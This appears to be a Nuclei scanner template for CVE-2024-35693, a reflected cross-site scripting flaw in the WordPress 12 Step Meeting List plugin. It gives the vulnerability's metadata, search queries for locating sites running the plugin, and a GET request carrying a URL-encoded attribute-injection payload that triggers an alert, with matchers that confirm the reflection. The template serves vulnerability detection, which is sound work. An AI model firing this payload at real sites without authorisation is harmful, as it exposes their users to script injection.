id: CVE-2024-35693

info:
  name: WordPress 12 Step Meeting List Plugin <= 3.14.33 - Cross-Site Scripting
  author: intelligent-ears
  severity: medium
  description: |
    Code for Recovery 12 Step Meeting List versions up to 3.14.33 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in user browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
  remediation: |
    Implement proper input sanitization and output encoding, and update to the latest version.
  reference:
    - https://patchstack.com/database/vulnerability/12-step-meeting-list/wordpress-12-step-meeting-list-plugin-3-14-33-cross-site-scripting-xss-vulnerability
    - https://github.com/code4recovery/12-step-meeting-list/issues/1415
    - https://wordpress.org/plugins/12-step-meeting-list
    - https://nvd.nist.gov/vuln/detail/CVE-2024-35693
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-35693
    epss-score: 0.0059
    epss-percentile: 0.44873
    cwe-id: CWE-79
    cpe: cpe:2.3:a:code4recovery:12_step_meeting_list:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: code4recovery
    product: 12-step-meeting-list
    framework: wordpress
    fofa-query: body="/wp-content/plugins/12-step-meeting-list/"
    publicwww-query: "/wp-content/plugins/12-step-meeting-list/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,reflected,12-step-meeting-list,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/?post_type=tsml_meeting&tsml-query=%22%20onfocus%3Dalert%28document.domain%29%20autofocus%20%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="" onfocus=alert(document.domain) autofocus'
          - 'tsml'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402205ead416b28fc1a8f4ab775ae8bbc1af92cda4aad79ad61ba578a16c4458f3344022029e0b89ea7431ee62cd24d56924c2aa37307163bccc45c3162f29b53a3967e46:922c64590222798bb761d5b6d8e72950